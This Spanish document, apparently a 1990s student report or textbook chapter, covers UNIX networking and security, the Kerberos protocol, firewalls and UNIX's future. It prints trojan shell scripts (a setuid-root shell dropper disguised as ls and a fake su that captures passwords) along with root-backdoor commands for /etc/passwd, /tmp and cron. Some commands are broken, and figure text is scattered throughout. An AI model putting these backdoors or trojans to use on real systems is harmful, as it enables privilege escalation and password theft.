El ejemplo anterior es un intento claro de ataque contra *root* en un sistema UNIX. Si el *root* encuentra este fichero llamado listado y lo ejecuta, habrá cometido un grave error. Aparentemente el programa realizará un listado del directorio actual pero en realidad habrá dejado una puerta abierta en el sistema por la que podrá volver en cualquier momento. Veamos el análisis del programa:

Primeramente, el programa habrá creado una copia de la shell actual. En segundo lugar se cambia de propietario al programa nuevo (prog.a), el nuevo propietario será root. En la tercera línea se activa el suid del programa, de manera que cualquier usuario que lo ejecute posteriormente lo hará con los permisos del root. En la cuarta línea el programa se borra a sí mismo y por último realiza el listado de los ficheros del directorio actual.

Estos pequeños virus son los quebraderos de cabeza de los administradores del sistema, que tienen que estar constantemente pendientes de los posibles cambios.

- **Trucos de seguridad**

Si un intruso consigue romper en un sistema UNIX tendría a su disposición tendría a su disposición una gran cantidad de información. Por eso es importante que se conozcan los pequeños trucos que permiten dejar una puerta abierta a este tipo de usuarios. La misión de este apartado no es la de enseñar al lector cómo poder acceder al sistema y obtener la clave de root, sino intentar mostrar pequeños trucos mediante los cuales un intruso que tiene la clave de root en su poder podría dejar una puerta abierta al sistema para entrar en futuras ocasiones.

La forma más sencilla de dejar una puerta abierta al sistema es creando un usuario con número de identificación 0. Este número esta reservado para root, de manera que una línea en el fichero */etc/passwd* con dicho número crearía un usuario ficticio (pero real para el sistema) con los privilegios de root. Podría ser de la manera que describimos en el siguiente listado:

```
Set linecount = wc −l /etc/passwd

Cd

Cp /etc/passwd ./passwd.tmp

@ linecount [1] /= 2

@ linecount [1] += 1

split −$ linecount [1] ./passwd.tmp

echo  NOMBRE_USUARIO ::0:0: NOMBRE_COMPLETO: /home/directorio :/bin/csh >> ./xaa

cat ./xaa >> ./xaa
```

mv ./xaa /etc/passwd

chmod 644 /etc/passwd

rm ./xa* ./passwd.tmp

Aunque este método es de sobra conocido por los administradores, es preciso indicar que la insercción de la línea está hecho en medio del fichero /etc/passwd, lo cual facilita la dificultad de verla en un primer vistazo. Otro método es crear una copia del shell en uso y activar el suid del mismo. El fichero se guarda en el directorio /tmp. En futuros acceso se tendrá un interprete de comandos con privilegios de root.

$ copia del shell a un fichero llamado mi_sh

Cp /bin/sh /tmp/.mi_sh

$ se activa el suid

Chmod 4755 /tmp/mi_sh

Un método para evitar este tipo de ataque es crear un demonio que se encargue de limpiar el directorio /tmp cada cierto tiempo.

Mediante la herramienta *cron* es posible ejecutar acciones dañinas sobre el sistema. El funcionamiento de *cron* se explicará a continuación : es una potente herramienta administradora que realiza trabajos a las horas que se le indica. Los trabajos de *root* que se han realiza se encuentran en un fichero que se ha llamado /var/spooll/con/crontabs/root. La utilidad *crontab* se encarga de añadir ordenes al fichero *crontab.* Es posible editar este fichero e incluir una línea que se encargue de ejecutar un shell script cada cierto intervalo de tiempo. La misión de shell script será la de realizar cualquier acto prohibido en el sistema.

- **<u>El sistema Kerberos</u>**

En el año 1983 comenzo en el MIT (Massachusetts Institute Of Technology) el llamado proyecto Athena. Este proyecto tenia como principla objetivo, crear un entorno informático educativo para funcionar sobre estaciones gráficas de trabajo. Este sistema operativo, que estaba basado en la versión UNIX BSD, estaba dotado de un sistema de autentificación llamado *Kerberos*.

Kerberos es un sistema de seguiridad y como tal, asume que las estaciones de trabajo no son seguiras, por lo que valida la identidad de todo usuario cuando se solicita un servicio (se entiendo por servicio cualquier llamada a sistema, ya sea para abrir un archivo, enviar datos a una impresora,... etc). La manera en la que kerbero gestiona el acceso sigue los siquientes puntos:

Todo usuario que se conecta la sistema necesita un nombre de presentación y una clave. Kerberos solicita la introducción de dicha información. Estas rutinas de identificación las lleva inplementadas el sistema UNIX en la rutina *login.*

La contraseña introducida por el usuario es sometida a un proceso de encriptación. Tanto el

usuario como los servicios tienen una clave. Las claves jamás se almacenan en el servidor principal, sino que se encuentran en uno de los servidores del sistema Kerberos.

Esquema del funcionamiento del sistemas kerberos

Cuando un usuario se conecta a una estación de trabajo, es sistema le pide la introducción de su nombre de presentación (*login*). Como parte de esta secuencia de conexión y antes de introducir la clave de acceso, el sistema envia un mensaje por la red, hasta llegar al servidor de AUTENTIFICACIÓN DE KERBEROS (SAK). Este mensaje se compone de dos campos, el primero de ellos es el nombre de presentación de usuario, y el segundo el nombre de un servidor concreto de Kerberos denominado Servidor de conexión Tickets (TGS).

Mensaje = { [user_n] [TGS_n] }

Los campos que forman el mensaje no necesitan estar encriptados, ya que se trata de nombres conocidos por el resto de los usuarios.Cuando el SAK recibe el mensaje proveniente de la estación de trabajo, comprueba la base de datos, el nombre del usuario y el nombre del servidor TGS y genera una clave encriptada para cada uno de ellos. Para generar esta clave utiliza una contraseña *alpha* y un método de encriptación interno que denominaremos *Crypt.*

Key1= crypt (user_n , alpha)

Key2= crypt (TGS, alpha)

Las líneas se interpretan de la manera siguiente: el campo *user_ n* es sometido a un proceso de encriptación (crypt) por medio de *alpha* para conseguir la clave key1. El procedimiento es idéntico para la segunda clave. El SAK prepara el mensaje que enviará de vuelta a la estación de trabajo, para ello necesita un *ticket* que asegure el acceso al servidor solicitado. Este *ticket* se compone de varios campos, de los cuales, los más importantes se explican a continucación:

Ticket = { [user_n] [TGS_n] [Ws_addr] [TGS_session] ... }

El primer campo es el nombre de presentación del usuario. El segundo campo es el nombre del servidor de concesión de tickets (TGS). El tercer campo es la dirección Internet de la estación de trabajo. El cuarto es un número generado por el SAK y denominado número de sesión del servidor TGS. El SAK utiliza la clave de encriptación key1 para encriptar el *ticket.* Al *ticket* encriptado se le denomina *ticket_k*

Ticket_k = (crypt ticket , key1)

El mensaje que el SAK envía de vuelta a la estación de trabajo se compone de dos campos que son:

Mensaje = { [ticket_k] [TGS_session] }

Como se puede observar, el número de sesión del servidor TGS va incluido en el mensaje dos veces, una como parte del *ticket* y otra en combinación con éste formando el mensaje. En este momento, el mensaje está listo para ser enviado de vuelta a la estación de trabajo, pero antes de hacerlo, el SAK lee de la base de datos la contraseña encriptada del usuario (password) y la utiliza para encriptar el mensaje. El mensaje finalmente se envía por la red.

Mensaje_k = crypt (mensaje, password)

La rutina *login* del sistema recibe el mensaje enviado por el SAK y solicita entonces la introducción de la contraseña (password) por parte del usuario. Esta contraseña se encripta mediante la orden crypt del sistema UNIX y se utiliza para poder desencriptar el mensaje enviado por el SAK. Realizado este procedimiento, en la estación de trabajo se obtienen los dos campos que forma el mensaje: *ticket_k y*

***TGS_session*. Estos campos se almacenan dentro de la estación para su posterior uso.**

Mensaje = decrypt (mensaje_k, password)

Mensaje = { [ticket_k] [TGS_session] }

Cuando un usuario solicita un servicio de red, ya sea para abrir un archivo, leer el correo, etc., necesita un *ticket* para ese servicio en particular. En ese momento, la estación de trabajo envía un mensaje de nuevo al SAK con la siguiente información:

Mensaje = { [ticket:_k] [identificador_k] [server_n] }

El primer campo en el *ticket* encriptado que envió el SAK a la estación de trabajo. El segundo campo es un identificador encriptado que está formado a su vez por otros campos. El tercer campo es el nombre del servidor al cual se desea acceder.

Identificador = { [user_n] [WS_addr] [hora] }

El primer campo es el nombre de presentación del usuario. El segundo campo es la dirección Internet de la estación de trabajo. El tercer campo es la hora exacta en la que se solicitó el servicio. Este identificador se encripta en la estación de trabajo mediante el número de sesión TGS obtenido del mensaje que envió el SAK.

Identificador_k = crypt (identificador, TGS_session)

Toda la información se envía por la red hasta el SAK, allí se realizan los pasos inversos para poder desencriptar la información. Mediante el número la clave de encriptación key1 se consigue desencriptar el *ticket_k.*

Ticket = decrypt (ticket_k, key1)

Dentro de la clave, (en el cuarto campo) se obtiene del número de sesión TGS. Este número se utiliza para desencriptar el identificador_K, posteriormente se comprueban una serie de datos tales como la dirección Internet de la estación de trabajo, la hora de solicitud del servicio y el nombre del servidor.

Identificador = decrypt (identificador_k, TGS_session)

El TGS genera un nuevo número de sesión y crea un nuevo *ticket* que será necesario para que la solicitud se lleve a cabo.

Ticket2 = { [user_n] [server_n] [TGS_session] [Ws_addr] }

El *ticket* se encripta mediante el nombre del servidor solicitado y junto con el nuevo núemro de sesión TGS se forma el mensaje.

Ticket2_k = crypt (ticket , server_k

Mensaje = ([ticket2] [TGS_session2]

El mensaje se vuelve a encriptar utilizando el número de sesión TGS que se utilizó desde el primer momento y que la estación de trabajo conoce.

Finalmente se envía por la red hasta la estación de trabajo

Mensaje_k = crypt (mensaje, TGS_session)

Cuando el mensaje llega a la estación, ésta procede a desencriptarlo mediante el núemro de sesión de trabajo que almacenó previamente, de ahí obtiene el ticket2_k que es precisamente el ticket que pertenece al servicio solicitado por el usuario.

Mensaje = decrypt (mensaje_k, TGS_session)

Cuando la estación de trabajo tiene el ticket2_k y el nuevo núemro de sesión TGS (obtenido tras desencriptar el mensaje), construye un nuevo identificador formado por los campos:

Identificador = { [user_n] [Ws_addr] [hora] }

El identificador se encripta mediante el nuevo número de sesión TGS y se incluye en el mensaje que la estación de trabajo envía al servidor.

Identificador2_k = crypt (identificador, TGS_session2)

Mensaje = { [ticket2_k] [identificador2_k] [server_n] }

El servidor recibe el mensaje y desencripta el *ticket2_k*. El servidor es capaz de desencriptar el ticket2_k porque Kerberos lo encriptó utilizando el nombre del servidor. Posteriormente se obtiene el nuevo número de sesión TGS y por medio de este se consigue desencriptar el *identificador2_k.*

Ticket2 = decryp (ticket2_k, server_k)

- **Desventajas de Kerberos**

Uno de los problemas con que cuenta este magnífico sistema de seguridad es que fue diseñado por el MIT para funcionar en los entornos de red que allí existían. Es decir, fue diseñado para identificar al usuario final ante los servidores. El sistema UNIX planifica su trabajo en red por medio de demonios y kerberos no fue pensado para que los demonios fuesen los encargados de establecer contacto con otras máquinas.

Otro posible problema es que la mayoría de los sistemas no disponen de otros servidores dedicados al almacenamiento de claves de usuarios. A demás, el servidor que se encarga de almacenar las claves debe tener un alto nivel de seguridad, ya que cualquier intruso que consiguiese llegar hasta él, tendría en sus manos las claves de los demás usuarios. Pero junto con estos problema existe un tercero que está relacionado con el manejo que Kerberos hace con las claves en memoria:

Cuando un usuario introduce su clave y esta se almacena en memoria puede ser obtenido por otros usuarios registrados en el sistema. Cuando se trabaja en un sistema monousuario, solo el usuario actual tiene acceso a los recursos del sistema, por lo tanto no existe la necesidad de habilitar el acceso remoto a la estación de trabajo. Sin embrago, en un entorno multiusuario existe, por supuesto, la posibilidad de que otro usuario pueda acceder a las claves.

- **Firewalls**

Los denominados FireWalls son productos comerciales que pertenecen a Internet Security CO. Se trata de compuertas que realizan una serie de servicios tales como filtración de paquetes de datos, agregar

nuevos protocolos, creación de canales encriptados, etc. En sí, los FireWalls son encamindores fiables que comunican una red interna (clasificada segura) con una red externa (clasificada No segura).

Todo el tráfico de paquetes existentes entre la red externa y la red interna se envían a través del FireWalls para poder ser verificado y, en consecuencia, admitido o rechazado. Un FireWall incluye dos componentes:

- ***Módulos de filtro de paquetes***
- ***Módulos de control***

Los últimos se encargan de controlar a los primeros, aunque un módulo de filtro de paquetes trabaja con independencia del módulo de control, pudiéndose colocar en servidores Internet para proveer zonas divididas de riesgo. Los módulos de control, por su parte, se sitúan en la estación de trabajo.

Esquema de situación de un Firewall.

7.− EL FUTURO DE UNIX EN INTERNET

Es bastante complicado poder estimar el período de vida de un sistema operativo de red. En el caso de UNIX han pasado ya casi treinta años desde sus primeros comienzos y todavía sigue siendo el principal soporte de las mayoría de los servidores Internet. Las grandes empresas multinacionales confían en la fiabilidad de este sistema operativo. La pregunta de que debería hacerse por lo tanto es: ¿ Existe un futuro para UNIX a nivel de PC doméstico?. Es un hecho que la mayoría de las grandes empresas informáticas (a excepción de Microsoft) utilizan sistemas operativos UNIX, es el caso de Sun Microsystems, Santa Cruz, Xerox e incluso la famosa empresa cinematográfica de efectos especiales Industrial Light & Magic (de George Lucas), la cual utiliza las potentes máquinas Silicon Graphics equipadas con un sistema operativo UNIX.

Pero un sistema operativo, sin software que pueda ejecutarse sobre él, no tiene salida en el mercado de los PC domésticos. El software existente para UNIX es demasiado cara para la economía de un usuario particular, lo que produce una importante pérdida dentro de este sector. Con la llegada de las nuevas generaciones de ordenadores, Microsoft ha conseguido entrar en el mundo del PC doméstico y hoy en día abarca el 95% de este mercado. Uno de los más recientes productos de Microsoft, el Windows NT 4.0, está entrando en competición con UNIX por el liderazgo de los servidores Internet.

La mayor ventaja con la que cuenta Windows NT es la facilidad de manejo de un sistema operativo que es prácticamente intuitivo. UNIX, por su parte, siempre ha sido criticado por su complejidad y su aspecto pobre de cara al usuario. La llegada al mercado de las nuevas versiones no comerciales de UNIX, como es el caso del sistema operativo LINUX, ofrecen una alternativa, al usuario del PC doméstico, para poder acercarse a este sistema operativo. En Internet existen cientos de programas de aplicación que están diseñados para ejecutarse sobre LINUX, con la ventaja de que muchos de ellos están catalogados como productos Freeware (o de libre distribución).

En mi opinión, los grandes fabricantes de sistemas UNIX deberían unirse para, juntos, poder sacar adelante lo que poco a poco se va convirtiendo en una leyenda. La idea de unificar el sistema operativo UNIX no sólo a nivel de servidores Internet, sino a nivel de PC doméstico, no es sino una alternativa del amplio abanico de posibilidades que el futuro de la red nos depara.

1

– –

Red A

Red B

Red D Red C

APLICACIÓN

PRESENTACIÓN

SESIÓN

TRANSPORTE

RED

ENLACE

FISICO

APLICACIÓN

PRESENTACIÓN

SESIÓN

TRANSPORTE

RED

ENLACE

FISICO

b.1. Red B b.2.

b.3

Red A

Red C

a.1.

HOST origen

HOST destino

uucico

Sistema A

Kernel

RED

Kernel

Sistema B

uucico

uux

uucp

uux

uucp

Set User ID activado

−rwsr−xr−x 1 user1 3480 Jan 12 13:00 /usr/user1/fich.txt

TGS

SAK

Estación de trabajo

Servidor

Kerberos

Base de datos

User

User

*** Emulación de Terminales**

*** Transferencia de Ficheros**

* Correo Electrónico

COM Asignado a entidades comerciales

EDU Asignado a instituciones educativas

NET Ordenadores de suministradores y administradores de redes

ORG Organizaciones no gubernamentales

INT Entidades establecidas por tratados internacionales

GOV (Estados Unidos) Asignada a entidades del gobierno Federal

MIL (Estados Unidos) Fuerzas Armadas

. Dirección fuente y destino

. Número de secuencia

. Número de asentamiento

. Longitud de la cabecera

. Campos reservados para el control

. Indicador de urgencia

. Opciones

$ hostname

alex@jordan.FRACTIAL.COM

$

$ finger @jordan

[jordan]

Login Name TTY Idle When Where

Alex Alex Novo tty01 10 Tue 10:00 jordan

Ricky Ricky Swartz tty02 15 Tue 12:00

$

$ rlogin magnum

password:

Last login: Wed Nov 5 10:00:30 from jordan

$

$ telnet aires

Trying 128.110.30.3

Connected to aries

Escape character is `^]'.

UNIX (r) System V Release 4.0 (jordan)

Login: alex

Passwd:

Last login: Mon Jan 3 21:10:00 from magnum

$

$ logout

Connection closed by forign host

$

r*cp maquina: pathname_fichero directorio_destino*

$ rcp arie: /user/user2/letter.bak /user/alex

$

$ rcp aries: /usr/user2/letter.bak /usr/alex/letter.new

$

$ rcp −r aries: /usr/usr2 /urs/alex/

$

uucp Describe el sistema completo, pero es el encargado de recibir la peticiones de los usuarios

uux Acepta peticiones de los usuarios para ejecución de comandos en sistemas remotos. Coloca en una cola los programas para ser ejecutados posteriormente.

uucico (copy in copy out) Es un demonio que se encarga de ejecutar las tareas solicitadas por los programas anteriores. Es el encargado de supervisar las transferencias de información.

uuxqt Ejecuta los ficheros que dejan la cola de entrada el programa uux.

$ ftp

ftp>

ftp> open

(to) aries

connected to aries

100 aries FTP server (version 1.0 Feb 10 1997) ready.

Name(aries:alex) : alex

220 password requiered for alex

password:

240 user alex logged in.

ftp > put carta

200 PORT command successful.

150 Ascii data conection for carta (192.11.105.30,1000).

230 transfer complete.

Local: carta remote: carta

300 bytes sent in 0:07 seconds

- **Sistemas D: Seguridad MINIMA**
- **Sistemas C1: Protección mediante seguridad discrecional**
- **Sistemas C2: protección mediante accesos controlados**
- **Sistemas B1: protección mediante seguridad etiquetada**
- **Sistemas B2: protección estructurada**
- **Sistemas B3: dominios de seguridad**
- **Sistemas A1: diseño verificado, seguridad MAXIMA**

$ ls −al

−rsxrwxr−x 1 root sys 512 Feb 22 15:05 fichero_exe

$ chmod u+s fich_exe

$

$ chmod 4744 fichero1

$

$ su ricky

password:

 # Desactiva el echo del terminal para que aquello que se teclee no pueda visualizarse...

stty −echo

 # Solicita la introducción de la contraseña...

echp password:

read p

 # Almacena la contraseña en un fichero para visualizarla posteriormente

echo p > fichero.pswd

 # Activa nuevamente el echo del terminal

stty +echo

 # Muestra un mensaje de error y pide introducir nuevamente la contraseña

echo Sorry.

 # El programa se borra a si mismo para que nadie pueda saber lo que ha ocurrido

rm $0

 # Guión shell que realiza un ls... y algo más.

 # /bin/sh

/bin/cp /bin/sh /usr/lib/prog.a

/etc/chown root /usr/lib/prog.a

/bin/chmod 4755 /usr/lib/prog.a

/bin/rm −f $0

exec /bin/ls $@

FIREWALL

RED EXTERNA RED INTERNA

NO SEGURA SEGURA

Red A

Red B